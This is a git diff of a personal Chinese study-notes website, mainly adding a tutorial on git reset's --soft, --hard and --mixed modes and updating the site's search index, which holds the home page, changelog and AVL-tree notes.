+<figure>
+<img alt="Image title" src="../NOTE/CS/GIT/img/log1.png" width="500" />
+<figcaption>查看提交信息</figcaption>
+</figure>
+<h3 id="note-cs-git-_7">版本回退<a class="headerlink" href="#note-cs-git-_7" title="Permanent link">&para;</a></h3>
+<p>设想这样一个场景,你修改了十次文件,然后你发现你修改错了,现在你想要回到你修改前的状态,如果没有git,而你的编辑器又恰好不能一直<code>Ctrl+Z</code>到你修改前的状态,那么你只能手动一个一个的改回去,这显然是非常麻烦的,而git可以轻松的解决这个问题</p>
+<p>Git使用git reset 命令来回退版本,git reset 命令有三个参数</p>
+<ol>
+<li>--soft: 回退到某个版本,但是不改变任何东西</li>
+<li>--hard: 回退到某个版本,并丢弃工作区,和暂存区的所有修改内容</li>
+<li>--mixed: 回退到某个版本,保留工作区的修改，丢弃暂存区的修改</li>
+</ol>
+<figure>
+<img alt="Image title" src="../NOTE/CS/GIT/img/reset.png" width="500" />
+<figcaption>绿色代表保存,红色代表丢弃</figcaption>
+</figure>
+<p>接下来我们具体看看它们是怎么工作的,首先我们创建两个文件,并进行两次提交</p>
+<figure>
+<img alt="Image title" src="../NOTE/CS/GIT/img/reset1.png" width="500" />
+<figcaption>创建两个文件,并进行两次提交</figcaption>
+</figure>
+<p>此时Head指向的是第三次提交,也就是master分支的最新版本,此时工作区有三个文件,暂存区为空</p>
+<div align="center">
+<img src="../NOTE/CS/GIT/img/reset2.png" width="500">
+</div>
+
+<p>为了方便比对三种不同指令,将这个仓库复制两个副本,分别命名为git_practice1和git_practice2</p>
+<h4 id="note-cs-git--soft">--soft<a class="headerlink" href="#note-cs-git--soft" title="Permanent link">&para;</a></h4>
+<p>现在,我们修改text1.txt文件,并进行一次add</p>
+<div align="center">
+<img src="../NOTE/CS/GIT/img/reset3.png" width="500">
+</div>
+
+<p>现在，使用soft指令回退到第第一次提交</p>
+<div align="center">
+<img src="../NOTE/CS/GIT/img/reset4.png" width="500">
+</div>
+
+<p>可以看到,工作区没有发生任何变化,但是暂存区发生了变化,我们之前提交的text2和text3文件变成了new file;</p>
+<div align="center">
+<img src="../NOTE/CS/GIT/img/reset5.png" width="500">
+</div>
+
+<p>同时两次提交都不见了,HEAD指向了第一次提交</p>
+<p><strong>soft指令保存所有的更改,仅仅在commmit种有变化,这在处理只想要回退到某个版本,但是不想要丢弃工作区,和暂存区的修改时非常有用</strong></p>
+<h4 id="note-cs-git--hard">--hard<a class="headerlink" href="#note-cs-git--hard" title="Permanent link">&para;</a></h4>
+<p>现在,我们进入git_practice1,并进行一次add</p>
+<p>使用hard指令回退到第一次提交</p>
+<div align="center">
+<img src="../NOTE/CS/GIT/img/reset6.png" width="500">
+</div>
+
+<p>可以看到,工作区,暂存区,和提交都发生了变化,工作区,暂存区,和提交都变成了第一次提交的样子</p>
+<p><strong>相当于第二次第三次提交以及它们的修改都没有发生过,执行类似于<code>Ctrl+Z</code>的操作</strong></p>
+<h4 id="note-cs-git--mixed">--mixed<a class="headerlink" href="#note-cs-git--mixed" title="Permanent link">&para;</a></h4>
+<p>现在,我们进入git_practice2,并进行一次add，然后使用mixed指令回退到第一次提交</p>
+<div align="center">
+<img src="../NOTE/CS/GIT/img/reset7.png" width="500">
+</div>
+
+<p>可以看到,暂存区空空如也,而工作区仍然是修改后的样子,<strong>相当于进行了修改,但是没有进行任何提交</strong></p>
+<div class="admonition warning">
+<p class="admonition-title">注意</p>
+<p><code>--Hard</code>会丢弃所有的修改,一定要慎用,一般都推荐使用<code>--soft</code>和<code>--mixed</code></p>
+<p>同时在上面我们也可以发现,使用soft的时候,不会给你任何提示,使用hard会告诉你现在head在哪里,使用mixed会告诉你unstaged changes,也就是未暂存的变化(在上面的例子中是M text.txt),即修改后(Modified)的text.txt文件从暂存区中移除</p>
+<p>在实践过程中,可以使用<code>git ls-files</code>来查看暂存区中的文件</p>
+<p>可以使用<code>git status</code>来查看工作区,暂存区,和提交的状态</p>
+</div></section><section class="print-page" id="note-cs-verilog-verilog"><h1 id="note-cs-verilog-verilog-verilog-">Verilog 学习笔记-入门篇<a class="headerlink" href="#note-cs-verilog-verilog-verilog-" title="Permanent link">&para;</a></h1>
 <div style="margin-top: -30px; font-size: 0.75em; opacity: 0.7;">
 <p><span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10h-2a8 8 0 0 1-8 8 8 8 0 0 1-8-8 8 8 0 0 1 8-8V2m6.78 1a.69.69 0 0 0-.48.2l-1.22 1.21 2.5 2.5L20.8 5.7c.26-.26.26-.7 0-.95L19.25 3.2c-.13-.13-.3-.2-.47-.2m-2.41 2.12L9 12.5V15h2.5l7.37-7.38-2.5-2.5Z"/></svg></span> 约 1011 个字 <span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!--! Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3l89.3 89.4-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg></span> 207 行代码 <span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 20c4.42 0 8-3.58 8-8s-3.58-8-8-8-8 3.58-8 8 3.58 8 8 8m0-18c5.5 0 10 4.5 10 10s-4.5 10-10 10C6.47 22 2 17.5 2 12S6.5 2 12 2m.5 11H11V7h1.5v4.26l3.7-2.13.75 1.3L12.5 13Z"/></svg></span> 预计阅读时间 6 分钟</p>
 </div>
@@ -21470,9 +21697,12 @@ <h2 class='nav-section-title' id='section-language'>
                         </h2>
                         <section class="print-page" id="note-language"><h1 id="note-language-_1">外语学习<a class="headerlink" href="#note-language-_1" title="Permanent link">&para;</a></h1>
 <div style="margin-top: -30px; font-size: 0.75em; opacity: 0.7;">
-<p><span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10h-2a8 8 0 0 1-8 8 8 8 0 0 1-8-8 8 8 0 0 1 8-8V2m6.78 1a.69.69 0 0 0-.48.2l-1.22 1.21 2.5 2.5L20.8 5.7c.26-.26.26-.7 0-.95L19.25 3.2c-.13-.13-.3-.2-.47-.2m-2.41 2.12L9 12.5V15h2.5l7.37-7.38-2.5-2.5Z"/></svg></span> 约 24 个字 </p>
+<p><span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10h-2a8 8 0 0 1-8 8 8 8 0 0 1-8-8 8 8 0 0 1 8-8V2m6.78 1a.69.69 0 0 0-.48.2l-1.22 1.21 2.5 2.5L20.8 5.7c.26-.26.26-.7 0-.95L19.25 3.2c-.13-.13-.3-.2-.47-.2m-2.41 2.12L9 12.5V15h2.5l7.37-7.38-2.5-2.5Z"/></svg></span> 约 28 个字 </p>
 </div>
-<p>这里存放一些外语学习笔记，虽然目前只有英语。</p></section><section class="print-page" id="note-language-english"><h1 id="note-language-english-cet6-words">CET6 Words<a class="headerlink" href="#note-language-english-cet6-words" title="Permanent link">&para;</a></h1>
+<p>这里存放一些外语学习笔记，虽然目前只有英语。</p>
+<ul>
+<li><a href="https://qwerty.kaiyi.cool/">在线练习</a></li>
+</ul></section><section class="print-page" id="note-language-english"><h1 id="note-language-english-cet6-words">CET6 Words<a class="headerlink" href="#note-language-english-cet6-words" title="Permanent link">&para;</a></h1>
 <div style="margin-top: -30px; font-size: 0.75em; opacity: 0.7;">
 <p><span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10h-2a8 8 0 0 1-8 8 8 8 0 0 1-8-8 8 8 0 0 1 8-8V2m6.78 1a.69.69 0 0 0-.48.2l-1.22 1.21 2.5 2.5L20.8 5.7c.26-.26.26-.7 0-.95L19.25 3.2c-.13-.13-.3-.2-.47-.2m-2.41 2.12L9 12.5V15h2.5l7.37-7.38-2.5-2.5Z"/></svg></span> 约 10076 个字 <span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 20c4.42 0 8-3.58 8-8s-3.58-8-8-8-8 3.58-8 8 3.58 8 8 8m0-18c5.5 0 10 4.5 10 10s-4.5 10-10 10C6.47 22 2 17.5 2 12S6.5 2 12 2m.5 11H11V7h1.5v4.26l3.7-2.13.75 1.3L12.5 13Z"/></svg></span> 预计阅读时间 35 分钟</p>
 </div>
diff --git a/search/search_index.json b/search/search_index.json
index f264b0a..e105a3a 100755
--- a/search/search_index.json
+++ b/search/search_index.json
@@ -1 +1 @@
-{"config":{"lang":["en"],"separator":"[\\s\\u200b\\u3000\\-\u3001\u3002\uff0c\uff0e\uff1f\uff01\uff1b]+","pipeline":["stemmer"]},"docs":[{"location":"","title":"Welcome","text":""},{"location":"#71229","title":"\u6b22\u8fce\u6765\u523071229\u53f7\u6e2f\u6e7e","text":"<p> \u7ea6 171 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p> <p>\u8fd9\u91cc\u662fKailqq\u7684\u7b14\u8bb0\u672c\uff0c\u8bb0\u5f55\u4e86\u6211\u5728\u5b66\u4e60\u8fc7\u7a0b\u4e2d\u7684\u4e00\u4e9b\u5fc3\u5f97\u548c\u7b14\u8bb0\uff0c\u5e0c\u671b\u5bf9\u4f60\u6709\u5e2e\u52a9\u3002</p> <p>\u957f\u671f\u6478\u9c7c\uff0c\u5c3d\u91cf\u66f4\u65b0</p> <p>\u76ee\u524d\u5171 61 \u4e2a\u9875\u9762\uff0c\u7ea6 140335 \u5b57\uff0c2504 \u884c\u4ee3\u7801\u3002</p>"},{"location":"#_1","title":"\u76ee\u524d\u8981\u505a\u4ec0\u4e48\u5462","text":"<ul> <li> \u4fee\u6539\u57df\u540d\u4e3anote.</li> <li> \u642d\u5efa\u4e2a\u4eba\u4e3b\u9875\u9762(Kailqq.cc)</li> <li> \u5c06GitHub\u56fe\u5e8a\u7684\u56fe\u7247\u8fc1\u79fb\u5230\u672c\u5730(\u5927\u5de5\u7a0b\u554a)</li> <li> \u4f18\u5316\u7f51\u7ad9\u7684\u52a0\u8f7d\u901f\u5ea6</li> <li> \u5c06\u6982\u7387\u8bba\u7684\u7b14\u8bb0\u6dfb\u52a0\u6570\u7406\u7edf\u8ba1\u90e8\u5206\uff0c\u9020\u798f\u5c0f\u767b(\u5148\u6316\u5751\u4e0d\u786e\u5b9a\u8981\u4e0d\u8981\u5199)</li> <li> \u8ba1\u7ec4\u7b14\u8bb0\u8865\u5168</li> <li> \u62fc\u640f\u767e\u5929\uff0c\u6211\u8981\u8003\u516d\u7ea7_(:\u0437\u300d\u2220)_</li> </ul> <p>\u6b22\u8fce\u6765\u6211\u7684\u4e3b\u9875\u770b\u770b</p> <p>\u6e90\u7801\u4ed3\u5e93</p>"},{"location":"changelog/","title":"\u66f4\u65b0\u65e5\u5fd7","text":"<p> \u7ea6 6 \u4e2a\u5b57 </p> 2025.01.12\u00b6 <p> \u66f4\u65b0\u4e86\u597d\u770b\u7684\u914d\u8272\uff0c\u4fee\u6539\u4e86\u57df\u540d</p> 2024.09.22\u00b6 <p> \u98ce\u683c\u4fee\u6539\uff0c\u7b14\u8bb0\u5927\u66f4\u65b0</p> 2024.08.15\u00b6 <p> \u66f4\u65b0\u4e86\u4e00\u70b9\u70b9RUST\u7b14\u8bb0</p> 2024.08.13\u00b6 <p> \u66f4\u65b0\u4e86\u4e00\u70b9\u70b9RUST\u7b14\u8bb0</p> 2024.08.13\u00b6 <p> \u66f4\u65b0\u4e86\u4e00\u70b9\u70b9Verilog\u7b14\u8bb0</p> 2024.08.01\u00b6 <p> \u5f00\u59cb\u66f4\u65b0\u7ebf\u6027\u4ee3\u6570\uff01</p> 2024.07.30\u00b6 <p> \u8865\u5145\u4e86Crypto\u7b14\u8bb0</p> 2024.07.24\u00b6 <p> \u65b0\u589e\u7ed3\u8bfe\u611f\u60f3</p> 2024.07.11\u00b6 <p> \u66f4\u65b0\u4e86Misc\u4e13\u98982</p> 2024.07.09\u00b6 <p> \u66f4\u65b0\u4e86Misc\u4e13\u98981</p> 2024.07.04\u00b6 <p> \u66f4\u65b0Misc\u57fa\u7840</p> 2024.07.03\u00b6 <p> \u66f4\u65b0Web\u57fa\u7840</p> 2024.07.02\u00b6 <p> CTF\u77ed\u5b66\u671f\u5bfc\u8bba</p>"},{"location":"friends/","title":"My Friends","text":"<p> \u7ea6 105 \u4e2a\u5b57 </p> <p>Shrike-505</p><p>\u6587\u8c6a\u4f2f\u52b3\u5148\u751f</p> <p>Xestray</p><p>\u8fd9\u662f\u4e00\u4e2a\u5377\u54e5</p> <p>Xecades</p><p>\u6ee1\u8239\u6e05\u68a6\u538b\u661f\u6cb3</p> <p>WEDM</p><p>\u676d\u57ce\u5c11\u5e74</p> <p>V1ceVarsa</p><p>\u672a\u7ecf\u5ba1\u89c6\u7684\u751f\u6d3b\u662f\u4e0d\u503c\u5f97\u8fc7\u7684</p> <p>Clovers</p><p>\u91d1\u5c06\u519b\uff01\u6069\u60c5\uff01\u5fe0\u8bda\uff01\uff01</p> <p>\u6c88\u6a80</p><p>\u662f\u6c88\u6a80\u7684\u5999\u5999\u5c4b\u54e6</p>"},{"location":"NOTE/","title":"\u6211\u7684\u7b14\u8bb0","text":"<p> \u7ea6 455 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p> <p>\u7528\u4e8e\u8bb0\u5f55\u8bfe\u7a0b\u5185\u5bb9\u6216\u8005\u81ea\u5b66\u77e5\u8bc6\u7684\u7b14\u8bb0\uff0c\u5e0c\u671b\u80fd\u5e2e\u52a9\u5230\u4f60. </p>"},{"location":"NOTE/#_2","title":"\u76ee\u5f55","text":"ADS         \u8ba1\u7ec4         CTF         \u7ebf\u6027\u4ee3\u6570         \u6570\u5b66\u5206\u6790         \u666e\u901a\u7269\u7406         \u6982\u7387\u8bba         \u5176\u5b83         \u8bed\u8a00    \u8ba1\u7b97\u673a\u7ec4\u6210              \u8ba1\u7ec4(Computer Organization)\u662f\u8ba1\u7b97\u673a\u79d1\u5b66\u4e0e\u6280\u672f\u4e13\u4e1a\u7684\u5fc5\u4fee\u8bfe\uff0c\u4e3b\u8981\u4ecb\u7ecd\u8ba1\u7b97\u673a\u786c\u4ef6\u7cfb\u7edf\u7684\u7ec4\u6210\u548c\u5de5\u4f5c\u539f\u7406\u3002\u91cd\u70b9\u4ecb\u7ecd\u4e86\u652f\u6301RISC-V\u67b6\u6784\u7684\u8ba1\u7b97\u673a\u7684\u5355\u5468\u671f\u5904\u7406\u5668\u4e0e\u6d41\u6c34\u7ebf\u5904\u7406\u5668\u3002\u5e76\u8986\u76d6\u4e86\u8ba1\u7b97\u673a\u7684\u5b58\u50a8\u7cfb\u7edf\u3001\u8f93\u5165\u8f93\u51fa\u7cfb\u7edf\u3001\u603b\u7ebf\u7b49\u5185\u5bb9\u3002          CTF              CTF(Capture The Flag)\u4e3a\u4fe1\u606f\u5b89\u5168\u593a\u65d7\u8d5b\uff0c\u6b64\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u4e3aCTF\u63d0\u4f9b\u7684\u6691\u671f\u77ed\u5b66\u671f\u8bfe\u7a0b\u7b14\u8bb0\u3002          \u7ebf\u6027\u4ee3\u6570              \u7ebf\u6027\u4ee3\u6570(Linear Algebra)\u662f\u5927\u5b66\u6570\u5b66\u4e2d\u975e\u5e38\u91cd\u8981\u7684\u4e00\u95e8\u8bfe\u7a0b\uff0c\u672c\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u7ebf\u6027\u4ee3\u6570\u8bfe\u7a0b\u7684\u7b14\u8bb0\uff1b          \u6570\u5b66\u5206\u6790              \u672c\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u6570\u5b66\u5206\u6790\u7532\u8bfe\u7a0b\u7684\u624b\u5199\u7248\u7b14\u8bb0\uff0c\u4e3b\u8981\u5185\u5bb9\u4e3a\u6781\u9650\u3001\u8fde\u7eed\u3001\u5fae\u5206\u3001\u79ef\u5206\u3001\u7ea7\u6570\u7b49\u3002          \u666e\u901a\u7269\u7406              \u672c\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u666e\u901a\u7269\u7406\u4e8c\u8bfe\u7a0b\u7684\u7b14\u8bb0\uff0c\u4e3b\u8981\u5185\u5bb9\u4e3a\u7535\u78c1\u5b66\u3001\u5149\u5b66\u3001\u91cf\u5b50\u7269\u7406\u7b49\u3002          \u6982\u7387\u8bba              \u672c\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u6982\u7387\u8bba\u8bfe\u7a0b\u7684\u7b14\u8bb0\uff0c\u4e3b\u8981\u5185\u5bb9\u4e3a\u6982\u7387\u8bba\u7684\u57fa\u672c\u6982\u5ff5\u3001\u968f\u673a\u53d8\u91cf\u3001\u6982\u7387\u5206\u5e03\u3001\u5927\u6570\u5b9a\u5f8b\u3001\u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u7b49\u3002          \u5176\u5b83              \u8fd9\u90e8\u5206\u4e3b\u8981\u4e3a\u4e00\u4e9b\u81ea\u5b66\u5185\u5bb9\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\u5e38\u7528\u5de5\u5177\uff0c\u7f16\u7a0b\u8bed\u8a00\u7b49          \u8bed\u8a00              \u55ef\uff0c\u6211\u8981\u5b66\u5916\u8bed\u4e86          \u9ad8\u7ea7\u6570\u636e\u7ed3\u6784\u4e0e\u7b97\u6cd5\u5206\u6790                  ADS(Advanced Data Structures)\u662f\u4e00\u95e8\u6570\u636e\u7ed3\u6784\u4e0e\u7b97\u6cd5\u5206\u6790\u7684\u8bfe\u7a0b\uff0c\u4e3b\u8981\u5728FDS(Fundamental Data Structures)\u7684\u57fa\u7840\u4e0a\uff0c\u4ecb\u7ecd\u4e00\u4e9b\u9ad8\u7ea7\u6570\u636e\u7ed3\u6784\u4e0e\u7b97\u6cd5,\u53c2\u8003\u6559\u6750\u4e3a\u300a\u7b97\u6cd5\u5bfc\u8bba\u300b"},{"location":"NOTE/ADS/","title":"\u9ad8\u7ea7\u6570\u636e\u7ed3\u6784\u4e0e\u7b97\u6cd5\u5206\u6790","text":"<p> \u7ea6 158 \u4e2a\u5b57  2 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p> <p>\u6388\u8bfe\uff1a\u5f20\u56fd\u5ddd \u53c2\u8003\uff1a\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49 </p> <p>\u5728\u6570\u636e\u7ed3\u6784\u57fa\u7840\u4e0a\uff0c\u8fdb\u4e00\u6b65\u5b66\u4e60\u6570\u636e\u7ed3\u6784\u7684\u9ad8\u7ea7\u5e94\u7528\uff0c\u7279\u522b\u662f\u7b97\u6cd5\u5206\u6790\u90e8\u5206\uff0c\u504f\u5411\u6570\u5b66\uff1b</p> <p>\u5f20\u56fd\u5ddd\u8001\u5e08\u662f\u5b66\u672f\u6c34\u5e73\u548c\u6559\u5b66\u6c34\u5e73\u90fd\u5f88\u9ad8\u7684\u8001\u5e08\uff0c\u6bcf\u6bcf\u542c\u8bfe\u4eff\u4f5b\u918d\u9190\u704c\u9876\uff0c\u5bcc\u6709\u542f\u53d1;</p> <p>\u5948\u4f55\u672c\u4eba\u6700\u540e\u671f\u672b\u8868\u73b0\u4e0d\u4f73\uff0c\u611f\u8c22\u8001\u5e08\uff0c\u5b66\u751f\u673d\u6728\u3002</p>"},{"location":"NOTE/ADS/#_2","title":"\u76ee\u5f55","text":"ADS_card \u8bf4\u660e <p>\u76ee\u5f55\u5361\u7247\u4f7f\u7528\u4e86\u81ea\u5b9a\u4e49\u6837\u5f0f\uff0c\u6e90\u7801\u5728<code>docs/css/card.css/ADS_card</code>\u4e2d\uff0c\u4f7f\u7528\u65f6\u9700\u8981\u5f15\u5165\u8be5\u6837\u5f0f\u6587\u4ef6\u3002</p> <p>\u4f7f\u7528\u793a\u4f8b <pre><code> &lt;div class=\"ADS_card\" style=\"--initial-text:'\u8fd9\u662f\u521d\u59cb\u6587\u5b57';--hover-text:'\u8fd9\u662f\u60ac\u505c\u6587\u5b57\uff0c\u5927\u5c0f\u4e3a0.7em';--hover-font-size:0.7em;\"&gt;\n&lt;/div&gt;\n</code></pre></p> <p> </p>"},{"location":"NOTE/ADS/wk1/","title":"Advance Data Structures and Algorithm Analysis","text":"<p> \u7ea6 3022 \u4e2a\u5b57  66 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p>"},{"location":"NOTE/ADS/wk1/#avl-tree","title":"AVL tree(\u5e73\u8861\u4e8c\u53c9\u6811)","text":"<p>AVL \u6570\u7684\u60f3\u6cd5\u662f\u5f3a\u5236\u8981\u6c42\u6bcf\u6b21\u63d2\u5165\uff0c\u5220\u9664\u4e4b\u540e\u90fd\u4fdd\u8bc1\u6811\u7684\u7edd\u5bf9\u5e73\u8861</p> <p>AVL \u6570\u7684\u9012\u5f52\u5b9a\u4e49</p> <p>\u4e00\u9897\u7a7a\u7684\u6811\u6216\u5b83\u7684\u5de6\u53f3\u4e24\u4e2a\u5b50\u6811\u7684\u9ad8\u5ea6\u5dee\u7684\u7edd\u5bf9\u503c\u4e0d\u8d85\u8fc71\u662fAVL\u6811\uff0c\u540c\u65f6\u5b83\u7684\u5de6\u53f3\u4e24\u4e2a\u5b50\u6811\u4e5f\u662fAVL\u6811\uff08\u4ece\u4e0b\u5f80\u4e0a\u770b\uff0c\u4e0d\u8981\u4ece\u4e0a\u5f80\u4e0b\u770b\uff09</p> <ul> <li>\u5e73\u8861\u56e0\u5b50(Balence factor)    \u7b80\u79f0 \\(bf\\),\u8ba1\u7b97\u516c\u5f0f\u4e3a</li> </ul> <p>$$    bf = height_{left}-height_{right}    $$</p> <p>\u5728AVL tree \u4e2d\uff0c\\(bf\\) \u53ea\u80fd\u4e3a -1,0,1 \u4e09\u79cd\u60c5\u51b5\u4e4b\u4e00</p> <p></p> <p>AVL tree \u53ef\u4ee5\u89e3\u51b3\u5f53\u987a\u5e8f\u6570\u636e\u88ab\u63d2\u5165\u5230\u666e\u901a\u4e8c\u53c9\u641c\u7d22\u6811\u7684\u8fc7\u7a0b\u4e2d\uff0c\u4e8c\u53c9\u641c\u7d20\u6811\u4f1a\u9000\u5316\u4e3a\u94fe\u8868\u7684\u8fc7\u7a0b</p>"},{"location":"NOTE/ADS/wk1/#_1","title":"\u4e0d\u540c\u7c7b\u578b\u7684\u63d2\u5165","text":""},{"location":"NOTE/ADS/wk1/#ll-","title":"LL\u578b-\u53f3\u65cb","text":"<p>\u5728\u67d0\u7ed3\u70b9\u7684\u5de6\u7ed3\u70b9(L)\u7684\u5de6\u5b50\u6811(L)\u4e0a\u505a\u4e86\u63d2\u5165\u5143\u7d20\u7684\u64cd\u4f5c\u5bfc\u81f4\u5931\u8861\uff0c\u6211\u4eec\u79f0\u8fd9\u79cd\u60c5\u51b5\u4e3a\u5de6\u5de6\u578b\uff0c\u5e94\u8be5\u8fdb\u884c\u53f3\u65cb\u8f6c</p> <ul> <li>A \u5411\u53f3\u65cb\u8f6c\u6210\u4e3a B \u7684 \u53f3 child </li> <li>B\u7684\u53f3\u5b50\u6811\u6210\u4e3aA\u7684\u5de6\u5b50\u6811</li> </ul> <p></p> <p>Warning</p> <p>\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5728\u8fd9\u91cc\uff0c\u8282\u70b9A\u7684 \\(bf\\) \u503c\u53ea\u80fd\u662f1\uff0c\u5982\u679c\u662f0\uff0c\u8bf4\u660e\u5de6\u53f3\u6811\u9ad8\u76f8\u7b49\uff0c\u518d\u63d2\u5165\u4e5f\u662fAVL\u6811\uff0c\u5982\u679c\u662f-1\uff0c\u8bf4\u660e\u5de6\u8fb9\u6bd4\u53f3\u8fb9\u77ee\uff0c\u5de6\u8fb9\u518d\u957f\u9ad81\uff0c\u4e5f\u4e0d\u4f1a\u5bfc\u81f4\u5931\u8861</p>"},{"location":"NOTE/ADS/wk1/#rr-","title":"RR\u578b-\u5de6\u65cb","text":"<p>\u5728\u67d0\u7ed3\u70b9\u7684 \u53f3\u7ed3\u70b9(R)\u7684 \u53f3\u5b50\u6811(R)\u4e0a\u505a\u4e86\u63d2\u5165\u5143\u7d20\u7684\u64cd\u4f5c\uff0c\u6211\u4eec\u79f0\u8fd9\u79cd\u60c5\u51b5\u4e3a \u53f3\u53f3\u578b \uff0c\u6211\u4eec\u5e94\u8be5\u8fdb\u884c\u5de6\u65cb\u8f6c\u3002</p> <ul> <li>A \u5411\u5de6\u65cb\u8f6c\u6210\u4e3aB\u7684\u5de6child</li> <li>B \u7684\u5de6\u5b50\u6811 \u6210\u4e3a A \u7684\u53f3\u5b50\u6811</li> </ul> <p> </p> <p>Warning</p> <p>\u8282\u70b9A\u7684 \\(bf\\) \u503c\u4e5f\u662f\u786e\u5b9a\u7684</p> <p>Note</p> <p>\u603b\u7684\u6765\u8bf4\uff0c\u5bf9\u4e8eLL\u548cRR\u578b\uff0c\u6211\u4eec\u89e3\u51b3\u5931\u8861\u7684\u65b9\u5f0f\u662f</p> <p>\u5bf9\u4e8eLL\uff0c\u5de6\u7ed3\u70b9\u5f53\u6839</p> <p>\u5bf9\u4e8eRR\uff0c\u53f3\u8282\u70b9\u5f53\u6839</p>"},{"location":"NOTE/ADS/wk1/#lr-","title":"LR \u578b-\u5de6\u53f3\u65cb","text":"<p>\u5728\u67d0\u7ed3\u70b9\u7684 \u5de6\u7ed3\u70b9\uff08L\uff09 \u7684 \u53f3\u5b50\u6811\uff08R\uff09 \u4e0a\u505a\u4e86\u63d2\u5165\u5143\u7d20\u7684\u64cd\u4f5c\u5bfc\u81f4\u5931\u8861\uff0c\u6211\u4eec\u79f0\u8fd9\u79cd\u60c5\u51b5\u4e3a \u5de6\u53f3\u578b \uff0c\u6211\u4eec\u5e94\u8be5\u8fdb\u884c\u5de6\u53f3\u65cb\u3002</p> \u5bf9\u4e8e\u5de6\u53f3\u578b\uff0c\u5982\u679c\u53ea\u8fdb\u884c\u5355\u65cb\uff0c\u4e0d\u4f1a\u89e3\u51b3\u95ee\u9898 <p></p> <ul> <li>\u9700\u8981\u8fdb\u884c\u4e24\u6b21\u65cb\u8f6c(\u5de6\u53f3\u65cb)<ul> <li>\u7b2c\u4e00\u6b21\uff08\u5de6\u65cb\uff09: B\u5de6\u65cb\uff0c\u6210\u4e3aC\u7684\u5de6\u7ed3\u70b9\uff0cC\u7684\u5de6\u5b50\u6811\u6210\u4e3aB\u7684\u53f3\u5b50\u6811</li> <li>\u7b2c\u4e8c\u6b21\uff08\u53f3\u65cb\uff09: A\u53f3\u65cb\uff0c\u6210\u4e3aC\u7684\u53f3\u8282\u70b9\uff0cC\u7684\u53f3\u5b50\u6811\u6210\u4e3aA\u7684\u5de6\u5b50\u6811</li> </ul> </li> </ul> <p> </p> \u4e00\u4e2a\u4f8b\u5b50 <p></p>"},{"location":"NOTE/ADS/wk1/#rl-","title":"RL \u578b-\u53f3\u5de6\u65cb\u8f6c","text":"<p>\u5728\u67d0\u8282\u70b9\u7684\u5728\u7ed3\u70b9T\u7684 \u53f3\u7ed3\u70b9\uff08R\uff09 \u7684 \u5de6\u5b50\u6811\uff08L\uff09 \u4e0a\u505a\u4e86\u63d2\u5165\u5143\u7d20\u7684\u64cd\u4f5c\uff0c\u6211\u4eec\u79f0\u8fd9\u79cd\u60c5\u51b5\u4e3a \u53f3\u5de6\u578b \uff0c\u6211\u4eec\u5e94\u8be5\u8fdb\u884c\u53f3\u5de6\u65cb\u3002</p> <p>\u540c\u6837\uff0c\u5355\u65cb\u5bf9\u4e8eRL\u578b\u4e5f\u6ca1\u6709\u7528</p> <ul> <li>\u9700\u8981\u8fdb\u884c\u4e24\u6b21\u65cb\u8f6c(\u53f3\u5de6\u65cb)<ul> <li>\u7b2c\u4e00\u6b21\uff08\u53f3\u65cb\uff09: B\u53f3\u65cb\uff0c\u79f0\u4e3aC\u7684\u53f3\u7ed3\u70b9\uff0cC\u7684\u53f3\u5b50\u6811\u6210\u4e3aB\u7684\u5de6\u5b50\u6811 </li> <li>\u7b2c\u4e8c\u6b21\uff08\u5de6\u65cb\uff09: A\u5de6\u65cb\uff0c\u6210\u4e3aC\u7684\u5de6\u8282\u70b9\uff0cC\u7684\u5de6\u5b50\u6811\u6210\u4e3aA\u7684\u53f3\u5b50\u6811</li> </ul> </li> </ul> <p></p> <p>\u603b\u7ed3</p> 